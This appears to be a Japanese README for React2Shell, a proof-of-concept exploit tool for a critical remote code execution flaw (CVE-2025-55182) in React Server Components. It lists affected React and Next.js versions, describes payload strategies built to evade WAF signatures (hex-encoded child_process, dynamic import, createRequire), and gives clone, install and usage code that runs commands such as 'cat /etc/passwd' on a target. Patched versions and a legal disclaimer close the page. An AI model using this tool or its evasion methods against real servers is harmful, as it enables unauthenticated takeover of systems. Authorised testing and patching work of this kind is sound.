
React2Shell(CVE-2025-55182)は、React Server Components (RSC) を使用する最新のWebフレームワークにおける重大なリモートコード実行(RCE)脆弱性を実証する概念実証(PoC)エクスプロイトです。
React2Shell は、React Server Components(RSC)を利用する最新のWebフレームワークにおけるCRITICALなリモートコード実行(RCE)の脆弱性を示す概念実証(PoC)エクスプロイトです。
このPoCは、CVE-2025-55182(CVSS 10.0)を対象としています。この脆弱性により、認証されていないリモートの攻撃者が、React Server Components の実装内での安全でないデシリアライゼーションを介して任意のシステムコマンドを実行できます。
React2Shell は、React Server Components が**再水和(rehydration)**フェーズ中に信頼できない入力を処理する際の欠陥を悪用します。
この脆弱性は、コンポーネントツリーのシリアライズおよびデシリアライズを担う基盤となる react-server-dom-* パッケージに起因します。
影響を受けるバージョンの React Server Components を使用するアプリケーションは、悪意のあるペイロードを処理することで、サーバープロセスの権限で**リモートコード実行(RCE)**につながる可能性があります。
攻撃者は以下を実行できます:
デプロイ環境が下記の脆弱なバージョンのいずれかに該当し、RSC エンドポイントを公開している場合、あなたは**vulnerable**(脆弱)です。
この脆弱性は、以下のバージョン 19.0.0、19.1.0、19.1.1、19.2.0 に存在します:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopackこれらのパッケージは、複数のフレームワークにバンドルされています。例として以下が挙げられますが、これらに限定されません:
15.0.0 から 16.0.614.3.0-canary.76 より後の Canary バージョンRSC(v19.0.0–19.2.0)を使用するその他のフレームワーク。例:
ViteParcelReact RouterRedwoodSDKWaku脆弱な React Server Components 実装を組み込んでいるフレームワークはすべて、影響を受ける可能性があります。
React2Shell には、一般的な Node.js の制限や WAF ルールを回避するために設計されたモジュール式ペイロードジェネレーターが含まれています:
標準インジェクション(Standard Injection)
process.mainModule.require を使用Next.js / Webpack バンドルを対象非同期バイパス(Async Bypass)
require が利用できない厳格な ESM 環境向けに、動的 import() を使用難読化(Obfuscation)
child_process)を16進バッファにエンコードし、単純な WAF シグネチャを回避モジュールフォールバック(Module Fallback)
module.createRequire を活用して、代替コンテキストでモジュールをロードユニバーサルターゲティング(Universal Targeting)
//RSC/foo.txt などの RSC エンドポイントNode.js v18.0.0 以上git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
React2Shell は、独自のテストスクリプトにモジュールとしてインポートして使用することを想定しています。
exploit.js という名前のファイルを作成します:
const React2Shell = require('./src/react2shell');
// Initialize with target base URL
const target = new React2Shell('http://localhost:3000');
// Execute command using the "standard" strategy
// Arguments: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
次に実行します:
node exploit.js
注意
endpointは、RSC が有効なルート(例:/、/RSC/foo.txt、またはフレームワーク固有の RSC エンドポイント)に設定してください。strategyは変更できます(例:standard、async、obfuscated、またはreact2shellに実装されている他のストラテジー)。
Waku やその他のフレームワークは、多くの場合、特定のルートで RSC 処理を公開しています:
// Target a Waku application
// Note: Use 'async' strategy as Waku often runs in strict ESM
target.execute('ls -la', '/RSC/foo.txt', 'async');
サーバーが child_process を含む文字列をブロックする場合は、obfuscated ストラテジーを使用できます:
target.execute('cat /etc/passwd', '/', 'obfuscated');
直ちに更新してください。 更新版の React および影響を受ける下流フレームワークのリリースには、意図しない動作を防ぐためのユーザー入力処理の強化が含まれています。
すべてのユーザーは、できるだけ早くパッチ適用済みバージョンへアップグレードしてください。
以下は、パッチ適用済みバージョンの最終的なリストです。デプロイ中のバージョンがこれらより低い場合、あなたは**vulnerable**(脆弱)です。
Next.js 14 ユーザーへの警告
Next.js 14.3.0-canary.77以降の Canary リリースを使用している場合、あなたは**vulnerable**(脆弱)です。
この脆弱性はそれらの Canary ビルドに含まれる実験的な RSC 実装に影響するため、直ちに最新の安定版14.xリリースへダウングレードする必要があります。
このプロジェクトは、教育目的および許可されたセキュリティテストのみを目的として提供されています。
明示的な許可なしにこのツールをシステムに対して使用することは、違法かつ非倫理的です。
著者は、このツールによって引き起こされた誤用や損害について一切の責任を負いません。
このプロジェクトはMIT Licenseの下でライセンスされています。詳細については、LICENSE ファイルを参照してください。
| メトリクス | 詳細 |
|---|
| 深刻度 | CRITICAL (10.0 / 10.0) |
| ベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 攻撃経路 | Network (Remote) |
| ユーザー操作 | None |
| ソフトウェア / パッケージ | ブランチ / タイプ | 🛡️ 修正済み / 安全なバージョン |
|---|
React | Stable | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (Stable) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (Stable) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |